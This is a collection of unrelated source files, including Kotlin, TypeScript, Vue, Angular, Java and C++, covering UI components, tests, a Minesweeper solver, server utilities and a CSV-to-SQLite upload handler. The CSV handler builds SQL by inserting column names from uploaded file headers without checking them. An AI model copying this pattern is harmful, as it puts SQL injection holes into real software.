Row(modifier = Modifier .fillMaxWidth() .clickable( indication = null, interactionSource = remember { MutableInteractionSource() } ) { }, horizontalArrangement = Arrangement.SpaceBetween, verticalAlignment = Alignment.CenterVertically ) { Row(modifier = Modifier.fillMaxHeight(), verticalAlignment = Alignment.CenterVertically) { Card(modifier = Modifier.size(50.dp), colors = CardDefaults.cardColors( CoinvestDarkPurple)) { Box(modifier = Modifier.fillMaxSize(), contentAlignment = Alignment.Center){ Icon(imageVector = Icons.Rounded.Apartment, contentDescription = "company", modifier = Modifier.fillMaxSize(0.7f), tint = CoinvestBase) AsyncImage(model = it.company.logo, contentDescription = "thumbnail", modifier = Modifier.fillMaxSize(), contentScale = ContentScale.Crop) } } Spacer(modifier = Modifier.padding(8.dp)) Column(modifier = Modifier .fillMaxHeight() .width(210.dp), verticalArrangement = Arrangement.Center) { Text(text = it.company.name, fontSize = 16.sp, fontWeight = FontWeight.SemiBold, maxLines = 1) Text(text = it.percent.toString()+"%", color = if(it.percent >= 0){ Color(0xFF056927) } else { Color(0xFFF00500) }) } } Row(modifier = Modifier.fillMaxHeight()) { Column(modifier = Modifier.fillMaxHeight(), verticalArrangement = Arrangement.Center, horizontalAlignment = Alignment.End) { Text(text = it.close.toString(), fontSize = 14.sp) Text(text = it.company.symbol) } } } } } item { Spacer(modifier = Modifier.padding(80.dp)) } } }, bottomBar = { Box(modifier = Modifier .fillMaxWidth() .padding(start = 24.dp, end = 24.dp, bottom = 24.dp)){ AppsBottomBar(currentTab = 2){ onChangeTab(it) } } }, ) }
import { expect } from "vitest"; import { getRandomNameWithSample, pokeNamesList, positiveAdjectivesList, randomWordFromListStartingWithLetter, } from "./name"; describe("randomWordFromListStartingWithLetter", () => { for (const char of "abcdefghijklmnopqrstuvwxyz") { for (let i = 0; i < 100; i++) { it(`adjectives list should return a random word starting with ${char}`, () => { const word = randomWordFromListStartingWithLetter( positiveAdjectivesList, char, ); expect(word).toBeDefined(); if (!word.startsWith(char)) { throw new Error(word + " does not start with " + char); } expect(word.startsWith(char)).toBe(true); }); it(`poke list should return a random word starting with ${char}`, () => { const word = randomWordFromListStartingWithLetter(pokeNamesList, char); expect(word).toBeDefined(); if (!word.startsWith(char)) { throw new Error(word + " does not start with " + char); } expect(word.startsWith(char)).toBe(true); }); } } }); describe("getRandomNameWithSample", () => { it("should return a name starting with 'a' for sample 0", () => { const name = getRandomNameWithSample(0); expect(name).toBeDefined(); expect(name[0]).toBe("A"); }); it("should return a name starting with 'z' for sample of almost 1", () => { const name = getRandomNameWithSample(1 - 1e-10); expect(name).toBeDefined(); expect(name[0]).toBe("Z"); }); it("should return a name starting with some other character for sample of 0.5", () => { const name = getRandomNameWithSample(0.5); expect(name).toBeDefined(); expect(name[0]).not.toBe("A"); expect(name[0]).not.toBe("Z"); }); });
// Вам необходимо построить поле для игры "Сапер" по его конфигурации – размерам и координатам расставленных // на нем мин. // Вкратце напомним правила построения поля для игры "Сапер": // Поле состоит из клеток с минами и пустых клеток // Клетки с миной обозначаются символом * // Пустые клетки содержат число ki,j, 0≤ ki, j ≤ 8 – количество мин на соседних клетках. Соседними клетками // являются восемь клеток, имеющих смежный угол или сторону. // Формат ввода // В первой строке содержатся три числа: N, 1 ≤ N ≤ 100 - количество строк на поле, M, 1 ≤ M ≤ 100 - // количество столбцов на поле, K, 0 ≤ K ≤ N ⋅ M - количество мин на поле. // В следующих K строках содержатся по два числа с координатами мин: p, 1 ≤ p ≤ N - номер строки мины, q, // 1 ≤ 1 ≤ M - номер столбца мины. // Формат вывода // Выведите построенное поле, разделяя строки поля переводом строки, а столбцы - пробелом. // Пример 1 // Ввод // 3 2 2 // 1 1 // 2 2 // Вывод // * 2 // 2 * // 1 1 // Пример 2 // Ввод // 2 2 0 // Вывод // 0 0 // 0 0 // Пример 3 // Ввод // 4 4 4 // 1 3 // 2 1 // 4 2 // 4 4 // Вывод // 1 2 * 1 // * 2 1 1 // 2 2 2 1 // 1 * 2 * const fs = require('fs'); const data = fs.readFileSync('input.txt', { encoding: 'utf8' }); const list = data.trim().split('\r\n'); const [rows, columns] = list[0].split(' '); const coordinates = list.splice(1); const arr = []; let result = []; for (let i = 0; i < +rows; i += 1) { const arr2 = new Array(+columns).fill(0); arr.push(arr2); } for (let i = 0; i < coordinates.length; i += 1) { let coordinate = coordinates[i].split(' '); const x = +coordinate[0]; const y = +coordinate[1]; arr[x - 1][y - 1] = '*'; if (y < columns && arr[x - 1][y] !== '*') { arr[x - 1][y] += 1; } if (x < rows && arr[x][y - 1] !== '*') { arr[x][y - 1] += 1; } if (y > 1 && arr[x - 1][y - 2] !== '*') { arr[x - 1][y - 2] += 1; } if (x > 1 && arr[x - 2][y - 1] !== '*') { arr[x - 2][y - 1] += 1; } if (y < columns && x < rows && arr[x][y] !== '*') { arr[x][y] += 1; } if (y > 1 && x < rows && arr[x][y - 2] !== '*') { arr[x][y - 2] += 1; } if (y > 1 && x > 1 && arr[x - 2][y - 2] !== '*') { arr[x - 2][y - 2] += 1; } if (y < columns && x > 1 && arr[x - 2][y] !== '*') { arr[x - 2][y] += 1; } } for (let i = 0; i < arr.length; i += 1) { result.push(arr[i].join(' ')); } result = result.join('\n'); fs.writeFileSync('output.txt', result.toString());
/** * Copyright 2016-2019 University of Piraeus Research Center * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package eu.esens.espdvcd.designer.util; import spark.Service; import java.util.HashMap; import java.util.Map; import java.util.logging.Logger; public final class ServerUtil { private final static Logger LOGGER = Logger.getLogger(ServerUtil.class.getName()); private static Map<String, String> securityHeaders; /** * Configures static file hosting * Sets the location and the security headers * * @param spark Current Spark instance */ public static void configureStaticFiles(Service spark) { spark.staticFiles.location("/public"); } /** * Enables Cross Origin Requests * While in production this should be disabled * * @param spark Current Spark instance */ public static void enableCORS(Service spark) { spark.options("/*", (request, response) -> { String accessControlRequestHeaders = request.headers("Access-Control-Request-Headers"); if (accessControlRequestHeaders != null) response.header("Access-Control-Allow-Headers", accessControlRequestHeaders); String accessControlRequestMethod = request.headers("Access-Control-Request-Method"); if (accessControlRequestMethod != null) response.header("Access-Control-Allow-Methods", accessControlRequestMethod); return "OK"; }); spark.before((request, response) -> { response.header("Access-Control-Allow-Origin", "*"); response.header("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS"); response.header("Access-Control-Allow-Headers", "Content-Type, Content-Disposition"); }); } /** * Redirect URLs with trailing slashes back to the "unslashed" routes * * @param spark Current Spark instance */ public static void dropTrailingSlashes(Service spark) { spark.before((req, res) -> { String path = req.pathInfo(); if (path.endsWith("/")) res.redirect(path.substring(0, path.length() - 1), 301); }); } /** * Adds headers to all routes * * @param spark Current Spark instance */ public static void addSecurityHeaders(Service spark) { spark.before(((request, response) -> getSecurityHeaders().forEach(response::header))); spark.staticFiles.headers(getSecurityHeaders()); } /** * Gets the security headers * * @return Header Map */ private static Map<String, String> getSecurityHeaders() { if (securityHeaders == null) { initHeaderMap(); } return securityHeaders; } /** * Lazy initialization for the header Map */ private static void initHeaderMap() { securityHeaders = new HashMap<>(); String contentSecurityPolicyHeaders = "default-src 'none'; " + "font-src https://fonts.gstatic.com; " + "img-src 'self'; " + "object-src 'none'; " + "child-src https://*.europa.eu; " + "script-src 'self' 'kdoul.me'; " + "connect-src 'self'; " + "base-uri 'self'; " + "form-action 'self'; " + "style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;"; if (AppConfig.getInstance().isFramingAllowed()) { securityHeaders.put("Content-Security-Policy", contentSecurityPolicyHeaders); } else { securityHeaders.put("Content-Security-Policy", contentSecurityPolicyHeaders + " ; frame-ancestors 'none'"); securityHeaders.put("X-Frame-Options", "DENY"); } securityHeaders.put("Referrer-Policy", "same-origin"); securityHeaders.put("X-XSS-Protection", "1; mode=block"); securityHeaders.put("X-Content-Type-Options", "nosniff"); securityHeaders.put("Strict-Transport-Security", "max-age=63072000; includeSubDomains; preload"); } }
<script setup> import { request } from '../../api/request.js' import { onMounted, ref } from 'vue' import { ElMessage } from 'element-plus' import { Plus } from '@element-plus/icons-vue' import EbookManager from '../../components/admin/EbookManager.vue' const categoryList = ref([]) const fetchCategory = () => request({ url: `/category`, method: 'get', }).then(({data}) => { categoryList.value = [...data] }) const tmpCategory = ref('') const categoryAdd = () => request({ url: `/category`, method: 'post', data: {name: tmpCategory.value}, }).then(() => { ElMessage.success('添加成功') tmpCategory.value = '' }) .then(fetchCategory).catch(({msg}) => ElMessage.error(msg)) const tableData = ref([]) const fetching = ref(true) const fetchData = (search) => { fetching.value = true request({ url: `/book/list`, method: 'get', params: {search}, }).then(({data}) => { tableData.value = data }).then(fetchCategory) .catch(({msg}) => ElMessage.error(msg)) .finally(() => fetching.value = false) } onMounted(() => fetchData()) const searchValue = ref('') const submitSearch = () => { fetchData(searchValue.value) } const processing = ref(false) const formData = ref({ id: 0, cover: '', bookName: '', author: '', publisher: '', publishDate: '', translator: '', pages: 0, price: 0.0, binding: '', isbn: '', description: '', categoryId: null, }) const dialogVisible = ref(false) const add = () => { formData.value = { id: 0, cover: '', bookName: '', author: '', publisher: '', publishDate: '', translator: '', pages: 1, price: 0.0, binding: '', isbn: '', description: '', categoryId: null, } dialogVisible.value = true } const save = () => { processing.value = true request({ url: `/book`, method: 'post', data: {...formData.value}, }).then(() => { ElMessage.success('保存成功') dialogVisible.value = false fetchData() }).catch(({msg}) => ElMessage.warning(msg)) .finally(() => processing.value = false) } const handleEdit = (index, row) => { formData.value = {...row} dialogVisible.value = true } const handleDelete = (index, row) => { request({ url: `/book/${row.id}`, method: 'delete', }).then(() => { fetchData() }).catch(({msg}) => ElMessage.error(msg)) } const getFile = (file) => { if (file.raw.size / 1024 / 1024 > 1) { ElMessage.error('图片大小限制为1MB!') return } processing.value = true const reader = new FileReader() let result = '' reader.readAsDataURL(file.raw) reader.onload = () => result = reader.result reader.onerror = () => processing.value = false reader.onloadend = () => { formData.value.cover = result processing.value = false } } const showEbookManager = ref(false) const ebookData = ref({ data: [], bookId: 0, bookName: '', }) const fetchingEbookData = ref(false) const manageEbook = (index, row) => { const bookId = row.id showEbookManager.value = true fetchingEbookData.value = true loadEbookData(bookId) ebookData.value.bookName = row.bookName } const loadEbookData = (bookId) => { request({ url: `/ebook/book/${bookId}`, method: 'get', }).then(({data}) => { ebookData.value.data = data || [] ebookData.value.bookId = bookId }).catch(({msg}) => ElMessage.error('电子书列表加载失败:' + msg)) .finally(() => fetchingEbookData.value = false) } </script> <template> <div> <el-dialog v-model="showEbookManager" :close-on-click-modal="false"> <template #header> {{ ebookData.bookName }} </template> <div v-loading="fetchingEbookData"> <ebook-manager :data="ebookData.data" :book-id="ebookData.bookId" @refresh="loadEbookData" /> </div> </el-dialog> <el-dialog v-model="dialogVisible" :close-on-click-modal="false" :show-close="false"> <div v-loading="processing"> <el-form :model="formData" label-width="100px"> <el-form-item label="书籍封面" required> <el-upload action="" accept="image" :show-file-list="false" :auto-upload="false" @change="getFile"> <div> <img style="height: 100px" v-if="formData.cover" :src="formData.cover" alt="" /> <el-icon style="font-size: 40px" v-else> <Plus /> </el-icon> </div> </el-upload> </el-form-item> <el-form-item label="书名" required> <el-input v-model.trim="formData.bookName" /> </el-form-item> <el-form-item label="分类"> <el-row> <el-col :span="12"> <el-select v-model="formData.categoryId" filterable placeholder="请选择分类"> <el-option v-for="item in categoryList" :key="item.id" :label="item.name" :value="item.id"> </el-option> </el-select> </el-col> <el-col :span="12"> <el-input placeholder="添加新分类" v-model.trim="tmpCategory" @keydown.enter="categoryAdd()" /> </el-col> </el-row> </el-form-item> <el-form-item label="作者" required> <el-input v-model.trim="formData.author" /> </el-form-item> <el-form-item label="译者"> <el-input v-model.trim="formData.translator" /> </el-form-item> <el-form-item label="出版社" required> <el-input v-model.trim="formData.publisher" /> </el-form-item> <el-form-item label="出版日期" required> <el-date-picker v-model="formData.publishDate" /> </el-form-item> <el-form-item label="页数" required> <el-input v-model.number="formData.pages" type="number" /> </el-form-item> <el-form-item label="定价" required> <el-input v-model.number="formData.price" type="number" /> </el-form-item> <el-form-item label="装帧"> <el-input v-model.trim="formData.binding" /> </el-form-item> <el-form-item label="ISBN" required> <el-input v-model.trim="formData.isbn" /> </el-form-item> <el-form-item label="简介"> <el-input type="textarea" :autosize="{ minRows: 3, maxRows: 6 }" v-model.trim="formData.description" /> </el-form-item> </el-form> </div> <template #footer> <span class="dialog-footer"> <el-button @click="dialogVisible = false">取消</el-button> <el-button type="primary" @click="save()"> 保存 </el-button> </span> </template> </el-dialog> <el-card v-loading="fetching"> <div style="display: flex;margin-bottom: 10px;align-items: center"> <el-input v-model="searchValue" @keydown.enter="submitSearch()" style="max-width: 200px;margin-right: 10px" placeholder="书名、作者、ISBN" /> <el-button @click="submitSearch()">搜索</el-button> <div style="flex: 1 1"></div> <el-button type="primary" @click="add()">添加书籍</el-button> </div> <el-table :data="tableData" style="width: 100%" max-height="70vh"> <el-table-column label="封面"> <template #default="scope"> <el-image style="height: 60px;width: 40px" fit="contain" :src="scope.row.cover" /> </template> </el-table-column> <el-table-column label="书名" prop="bookName" /> <el-table-column label="作者" prop="author" /> <el-table-column label="出版社" prop="publisher" /> <el-table-column label="译者" prop="translator" /> <el-table-column label="出版日期" prop="publishDate" /> <el-table-column label="页数" prop="pages" /> <el-table-column label="定价" prop="price" /> <el-table-column label="装帧" prop="binding" /> <el-table-column label="ISBN" prop="isbn" /> <el-table-column label="操作" align="center" fixed="right" :width="220"> <template #default="scope"> <div style="display: flex"> <el-button size="small" @click="handleEdit(scope.$index, scope.row)"> 编辑 </el-button> <el-button type="primary" size="small" @click="manageEbook(scope.$index, scope.row)"> 管理电子书 </el-button> <el-popconfirm title="确认删除?" @confirm="handleDelete(scope.$index, scope.row)"> <template #reference> <el-button size="small" type="danger"> 删除 </el-button> </template> </el-popconfirm> </div> </template> </el-table-column> </el-table> </el-card> </div> </template> <style scoped> </style>
import { addGroup as addDrawerGroup, addItem as addDrawerItem, removeItem as removeDrawerItem, setItems as setDrawerItems, setOpen as setOpenDrawer, store, updateItem as updateDrawerItem, } from "@/redux"; import { DrawerItem, DrawerItemLabel } from "@/types"; import { ReactNode, useCallback } from "react"; import { v4 as uuidv4 } from "uuid"; import { useAppDispatch, useAppSelector } from "../redux"; export const useDrawer = () => { const open = useAppSelector((state) => state.drawer.open); const dispatch = useAppDispatch(); const setOpen = useCallback( (value: ((state: boolean) => boolean) | boolean) => { const dispatchValue = typeof value === "function" ? value(store.getState().drawer.open) : value; dispatch(setOpenDrawer(dispatchValue)); }, [] ); const getItems = useCallback(() => { return store.getState().drawer.items.map(({ children }) => children); }, []); const setItems = useCallback((value: DrawerItem[][]) => { dispatch( setDrawerItems( value.map((group) => ({ id: uuidv4(), children: group, })) ) ); }, []); const addItem = useCallback( (item: DrawerItem, parent: number | string = 0) => { const parentId = typeof parent === "number" ? store.getState().drawer.items[parent].id : parent; dispatch( addDrawerItem({ item, parentId, }) ); }, [] ); const removeItem = useCallback((id: string) => { dispatch(removeDrawerItem(id)); }, []); const removeGroup = useCallback((index: number) => { const id = store.getState().drawer.items[index].id; dispatch(removeDrawerItem(id)); }, []); const addGroup = useCallback((group: DrawerItem[], index?: number) => { dispatch( addDrawerGroup({ group: { id: uuidv4(), children: group, }, index, }) ); }, []); const updateItem = useCallback( ( id: string, item: Partial< Omit<DrawerItem, "id"> & { label?: ReactNode | Partial<DrawerItemLabel>; } > ) => { dispatch(updateDrawerItem({ id, ...item })); }, [] ); return { open, setOpen, getItems, setItems, addItem, removeItem, removeGroup, updateItem, addGroup, }; };
import { Component,OnInit } from '@angular/core'; import {ConfirmDialogModule,ConfirmationService,DataTableModule,SharedModule} from 'primeng/primeng'; import {Car} from './car'; import {CarService} from './car.service'; @Component({ selector: 'app-root', template: ` <input type="text" [(ngModel)]="name" pInputText> <button type="button" pButton label="Click" icon="fa fa-check" (click)="onClick($event)"></button> <div>{{message}}</div> <p-confirmDialog header="Confirmation" icon="fa fa-question-circle" width="425"></p-confirmDialog> <button type="text" (click)="confirm()" pButton icon="fa-check" label="Confirm"></button> <p-dataTable [value]="cars"> <p-column field="vin" header="Vin"></p-column> <p-column field="model" header="Model"></p-column> <p-column field="brand" header="Brand"></p-column> <p-column field="price" header="Price"></p-column> </p-dataTable> `, providers: [ConfirmationService] }) export class AppComponent implements OnInit{ name: string; message: string; cars: Car[] = []; errorMessage:any; constructor(private confirmationService: ConfirmationService,private CarService:CarService) {} onClick() { this.message = 'Hello ' + this.name; } confirm() { this.confirmationService.confirm({ message: 'Are you sure that you want to perform this action?', accept: () => { //Actual logic to perform a confirmation } }); } ngOnInit():void { this.CarService.getCarsSmall().subscribe( cars => {this.cars = cars ; console.log("Heroes " , cars ); }, error => this.errorMessage = <any>error); }; }
import express from "express"; import cluster from "cluster"; import os from "os"; const numCPUs = os.cpus().length; if (cluster.isMaster) { console.log(numCPUs); console.log(`PID number: ${process.pid}`); for (let i = 0; i < numCPUs; i++) { cluster.fork(); } cluster.on("exit", (worker) => { console.log( `Worker ${worker.process.pid} died: ${new Date.toLocaleString()}` ); cluster.fork(); }); } else { const app = express(); const PORT = parseInt(process.argv[2]) || 8080; app.get("/", (req, res) => { res.send( `Servidor express en ${PORT} - <b> PID: ${ process.pid }</b> - ${new Date().toLocaleString()}` ); }); app.listen(PORT, () => { console.log( "Servidor escuchando in: " + PORT + " - PID: " + [process.pid] ); }); }
/********************* */ /*! \file contraction_origins.h ** \verbatim ** Top contributors (to current version): ** Gereon Kremer ** This file is part of the CVC4 project. ** Copyright (c) 2009-2019 by the authors listed in the file AUTHORS ** in the top-level source directory) and their institutional affiliations. ** All rights reserved. See the file COPYING in the top-level source ** directory for licensing information.\endverbatim ** ** \brief Implements a way to track the origins of ICP-style contractions. **/ #ifndef CVC4__THEORY__ARITH__ICP__CONTRACTION_ORIGINS_H #define CVC4__THEORY__ARITH__ICP__CONTRACTION_ORIGINS_H #include <memory> #include <vector> #include "expr/node.h" namespace CVC4 { namespace theory { namespace arith { namespace nl { namespace icp { /** * This class tracks origins of ICP-style contractions of variable intervals. * For every variable, it holds one origin object that may recursively depend on * previous contraction origins. Initially, a immediate bound on a variable * (like x>0) yields an origin for this variable. For every contraction, we then * add a new origin that recursively holds the old origins, usually those of all * variables involved in the contraction. When generating a conflict or a lemma, * a recursive walk through this structure allow to retrieve all input theory * atoms that contributed to the new fact or the conflict. */ class ContractionOriginManager { public: /** * Origin of one particular contraction step. * Usually, this is either a direct bound or the application of a contraction * candidate. The direct bound is stored in the candidate while origins * remains empty. The contraction candidate is stored in the candidate while * origins hold the origins of all variables used in the contraction. */ struct ContractionOrigin { /** The theory atom used to do this contraction. */ Node candidate; /** All origins required for this contraction. */ std::vector<ContractionOrigin*> origins; }; private: /** * Recursively walks through the data structure, collecting all theory atoms. */ void getOrigins(ContractionOrigin const* const origin, std::set<Node>& res) const; public: /** Return the current origins for all variables. */ const std::map<Node, ContractionOrigin*>& currentOrigins() const; /** * Add a new contraction for the targetVariable. * Adds a new origin with the given candidate and origins. * If addTarget is set to true, we also add the current origin of the * targetVariable to origins. This corresponds to whether we intersected the * new interval with the previous interval, or whether the new interval was a * subset of the previous one in the first place. */ void add(const Node& targetVariable, const Node& candidate, const std::vector<Node>& originVariables, bool addTarget = true); /** * Collect all theory atoms from the origins of the given variable. */ std::vector<Node> getOrigins(const Node& variable) const; /** Check whether a node c is among the origins of a variable. */ bool isInOrigins(const Node& variable, const Node& c) const; private: /** The current origins for every variable. */ std::map<Node, ContractionOrigin*> d_currentOrigins; /** All allocated origins to allow for proper deallocation. */ std::vector<std::unique_ptr<ContractionOrigin>> d_allocations; }; /** Stream the constration origins to an ostream. */ std::ostream& operator<<(std::ostream& os, const ContractionOriginManager& com); } // namespace icp } // namespace nl } // namespace arith } // namespace theory } // namespace CVC4 #endif
import { Request, Response } from 'express'; import db from '../db/dbConfig'; import parseCSV from '../utils/csvParser'; import transformObject from '../utils/objectTransformer'; import getAllKeys from '../utils/keyExtractor'; declare global { namespace Express { interface Request { file?: Express.Multer.File; } } } // Endpoint to upload CSV file function uploadCSV(req: Request, res: Response<any, Record<string, any>>): Response<any, Record<string, any>> { if (!req.file) { return res.status(400).json({ message: 'No file uploaded' }); } const csv: string = req.file.buffer.toString('utf8'); // Parse CSV string into an array of objects const data: any[] = parseCSV(csv); const outputArray: any[] = data.map(transformObject); // Get all unique keys from the array of objects const keys: string[] = getAllKeys(outputArray); // Create table dynamically based on object keys db.serialize(() => { const createTableSQL: string = ` CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, ${keys.map(key => `${key} TEXT`).join(', ')} ) `; db.run(createTableSQL, function(err) { if (err) { console.error(`Error creating table: ${err.message}`); return res.status(500).json({ message: 'Error creating table' }); } console.log('Table created successfully'); // Insert data into the database const insertStmt = db.prepare(` INSERT INTO users (${keys.join(', ')}) VALUES (${keys.map(() => '?').join(', ')}) `); outputArray.forEach(obj => { const values = keys.map(key => obj[key] || null); insertStmt.run(values, function(err) { if (err) { console.error(`Error inserting row: ${err.message}`); return res.status(500).json({ message: 'Error inserting row' }); } console.log(`Row inserted with ID: ${this.lastID}`); }); }); insertStmt.finalize(err => { if (err) { console.error(`Error finalizing statement: ${err.message}`); return res.status(500).json({ message: 'Error finalizing statement' }); } console.log('All rows inserted successfully'); return res.json({ message: 'The file was uploaded successfully.' , data: outputArray }); }); }); }); return res; } export default uploadCSV;
import { ThisReceiver } from '@angular/compiler'; import { Component, ElementRef, OnInit, QueryList, ViewChildren } from '@angular/core'; import { findIndex, Subject } from 'rxjs'; import { Queue } from 'src/app/Queue'; import { AuthService } from 'src/app/services/auth.service'; import { QueueService } from 'src/app/services/queue.service'; import { TableService } from 'src/app/services/table.service'; import { Table } from 'src/app/Table'; import Swal from 'sweetalert2' @Component({ selector: 'app-container', templateUrl: './container.component.html', styleUrls: ['./container.component.css'] }) export class ContainerComponent implements OnInit { queues: Queue[] = []; tables: Table[] = []; @ViewChildren('carouselItems') carouselItems?: QueryList<ElementRef>; constructor(private queueService: QueueService, private tableService: TableService, private authService: AuthService) { } ngOnInit(): void { //get dan sort semua data antrian yang ada this.queueService.getQueues().subscribe((queues) => { this.queues = queues.sort((a, b) => a.id > b.id ? 1 : -1); }); // get dan sort semua data meja, jika data meja masih kosong, maka 4 meja akan di-inisialisasi. this.tableService.getTables().subscribe((tables) => { if (tables.length == 0) { this.initializeTables(); } this.tables = tables.sort((a, b) => a.id > b.id ? 1 : -1); }); } //function untuk inisialisasi meja. public initializeTables() { for (let i = 1; i <= 4; i++) { const newTable: Table = { id: i, status: "available" } this.tableService.saveTable(newTable).subscribe(); } } public addQueue() { const newQueue: Queue = { id: -1, status: "waiting" } let empty = false; for (let i = 0; i < this.tables.length; i++) { //kalau meja tersedia if (!this.tables[i].queue_id && this.tables[i].status === "available") { //mengatur field meja di queue newQueue.table = this.tables[i].id; //mengatur data dan status meja if (this.queues.length === 0) { this.tables[i].queue_id = 1; } else { this.tables[i].queue_id = this.queues[this.queues.length - 1].id + 1; } this.tables[i].status = "booked"; //menyimpan data meja ke db this.tableService.saveTable(this.tables[i]).subscribe(); //karena ada meja kosong, maka otomatis akan di assign empty = true; newQueue.status = "assigned"; break; } } //menyimpan data antrian ke db this.queueService.saveQueue(newQueue).subscribe((queue) => { //menyimpan ke client-side this.queues.push(queue); //ada meja tersedia if (empty) { Swal.fire({ title: 'Nomor antrian: ' + queue.id, text: 'Mohon menuju meja ' + queue.table, icon: 'success', confirmButtonText: 'OK', heightAuto: false }) } //tidak ada meja tersedia else { Swal.fire({ title: 'Nomor antrian: ' + queue.id, text: 'Mohon menunggu meja kosong', icon: 'success', confirmButtonText: 'OK', heightAuto: false }) } }); } //mencari index data front-end berdasarkan id public returnIndex(id: number) { for (let i = 0; i < this.queues.length; i++) { if (id === this.queues[i].id) { return i; } } return 0; } public endQueue(id: number) { //mencari antrian yang ingin dihapus let index = this.returnIndex(id); this.queueService.findQueue(this.queues[index!].id).subscribe((queue) => { //menghapus data antrian this.queueService.deleteQueue(this.queues[index!].id).subscribe(); //jika antrian memiliki meja, maka ubah status meja menjadi available if (this.queues[index!].status === "assigned" || this.queues[index!].status === "served") { const newTable: Table = { id: this.queues[index!].table!, status: "available", time: 0 } // console.log(newTable); this.tableService.saveTable(newTable).subscribe(); this.tables[newTable.id - 1] = newTable; // console.log(this.tables); } //menghapus data antrian di client this.queues.splice(index!, 1); //menambah class active agar carousel berjalan dengan baik for(let i = 0; i < this.carouselItems!.length; i++){ this.carouselItems?.get(i)?.nativeElement.classList.remove('active'); } this.carouselItems?.get(index! - 1)?.nativeElement.classList.add('active'); let nextQueue: Queue = { id: -1, status: 'waiting' }; for (let i = 0; i < this.queues.length; i++) { if (this.queues[i].status === "waiting") { nextQueue = this.queues[i]; break; } } if (nextQueue.id == -1) { Swal.fire({ title: 'Nomor antrian ' + queue.id + ' selesai dilayani', icon: 'success', confirmButtonText: 'OK', heightAuto: false }) } else { for (let i = 0; i < this.tables.length; i++) { //kalau meja tersedia if (this.tables[i].status === "available") { //mengatur field meja di queue nextQueue.table = this.tables[i].id; //mengatur data dan status meja if (this.queues.length === 0) { this.tables[i].queue_id = 1; } else { this.tables[i].queue_id = nextQueue.id; } this.tables[i].status = "booked"; //menyimpan data meja ke db this.tableService.saveTable(this.tables[i]).subscribe(); //karena ada meja kosong, maka otomatis akan di assign nextQueue.status = "assigned"; this.queueService.updateQueue(nextQueue).subscribe(); Swal.fire({ title: 'Nomor antrian ' + queue.id + ' selesai dilayani', text: 'Antrian ' + nextQueue.id + ', mohon menuju meja ' + nextQueue.table, icon: 'success', confirmButtonText: 'OK', heightAuto: false }) return; } } Swal.fire({ title: 'Nomor antrian ' + queue.id + ' selesai dilayani', icon: 'success', confirmButtonText: 'OK', heightAuto: false }) } }) } public assignQueue(id: number) { this.queueService.findQueue(this.queues[id].id).subscribe((queue) => { var currID = this.queues[id].id; queue.status = "served"; this.queues[id] = queue; this.queueService.updateQueue(queue).subscribe(); this.carouselItems?.get(0)?.nativeElement.classList.add("active"); let updatedTable = this.tables[queue.table! - 1]; updatedTable.status = "unavailable"; updatedTable.time = 30; this.tableService.saveTable(updatedTable).subscribe(); this.tables[queue.table! - 1] = updatedTable; Swal.fire({ title: 'Anda akan dilayani di meja ' + updatedTable.id, icon: 'success', confirmButtonText: 'OK', heightAuto: false }) var intervalID = setInterval(() => { if (this.tables[updatedTable.id - 1].status != "unavailable") { clearInterval(intervalID); updatedTable.time = 0; } else { updatedTable.time! -= 1; this.tables[queue.table! - 1] = updatedTable; this.tableService.saveTable(updatedTable).subscribe(); if (updatedTable.time === 0) { this.endQueue(currID); clearInterval(intervalID); } } }, 1000); }); } logout(){ this.authService.logout(); } }
import { BadRequestError, ControllerArgs, responseHandler } from "../../../core" import { CreateProject } from "../../project/services/create_project.service" import { DecideProposalDto } from "../dto" import { Proposal } from "../models" export class DecideProposal { constructor( private readonly dbProposal: typeof Proposal, private readonly projectService: CreateProject, ) {} public decide = async ({ input, user, }: ControllerArgs<DecideProposalDto>) => { try { if (!input) throw new BadRequestError("Invalid Input") const { proposal_id, proposal_status } = input const proposal = await this.dbProposal.findOne({ where: { proposal_id }, }) if (!proposal) throw new BadRequestError("Invalid Proposal") if (proposal.status !== "PENDING") throw new BadRequestError("Proposal Status Already Set") let project if (proposal_status === "ACCEPT") { // Create a new project project = await this.projectService.create({ input: { description: proposal.description, estimated_funding_amount: proposal.estimated_funding_amount, name: proposal.name, token_value: proposal.token_value, }, user, }) as any } await this.dbProposal.update( { status: proposal_status === "ACCEPT" ? "APPROVED" : "REJECTED", }, { where: { proposal_id } }, ) return responseHandler.responseSuccess( 200, "Proposal Decided Successfully", project?.response?.data as any, ) } catch (error: any) { return responseHandler.responseSuccess( 400, `Error Deciding Proposal ${error?.message}`, ) } } }
<template> <div :ref="id" :class="b()" :style="style"> <div :id="targetId" ref="box" :style="styleName" :class="b('box')"></div> <!-- <span>{{option.frontContent||''}}</span> --> <!-- <span>{{option.backunit||''}}</span> --> </div> </template> <script> import { CountUp } from 'countup.js' import common from '@s/mixins/common.js' import { setPx } from '@s/utils/util.js' export default { name: 'Textcount', mixins: [common], props: { data: { type: Object } }, data() { return { setPx, targetId: 'targetId' + Math.random(), countUp: '', check: '' // 延迟时间的句柄 } }, computed: { options() { const obj = { decimalPlaces: this.option.decimals ?? 2, // 小数位数 duration: this.option.duration ?? 2, // animation duration in seconds useEasing: this.option.useEasing ?? true, // 过渡动画效果,默认true useGrouping: this.option.percentile ?? true, // 千分位效果,例:1000->1,000。默认true separator: this.option.separator || ',', // 使用千分位时分割符号 decimal: this.option.decimal || '.', // 小数位分割符号 prefix: this.option.frontContent || '', // 前置符号 suffix: this.option.backunit || '' // 后置符号,可汉字 } return obj }, showData() { // 如果传来的是字符串,肯定不会动的,所以这里转一下 let value = this.dataChart.value if (value) { if (this.option.currencyType) { value = (value / this.option.currencyType) * 1 } return value * 1 || 0 } else { return '' } }, lineHeight() { return this.option.lineHeight || 40 }, fontSize() { return this.option.fontSize || 30 }, split() { return this.option.split }, textWidth() { const textLen = (this.dataChart.value || '').length return textLen * this.fontSize }, styleName() { return { transform: 'translateX(' + this.left + 'px)', textAlign: this.option.textAlign, letterSpacing: this.setPx(this.split), textIndent: this.setPx(this.split), backgroundColor: this.option.backgroundColor, fontWeight: this.option.fontWeight 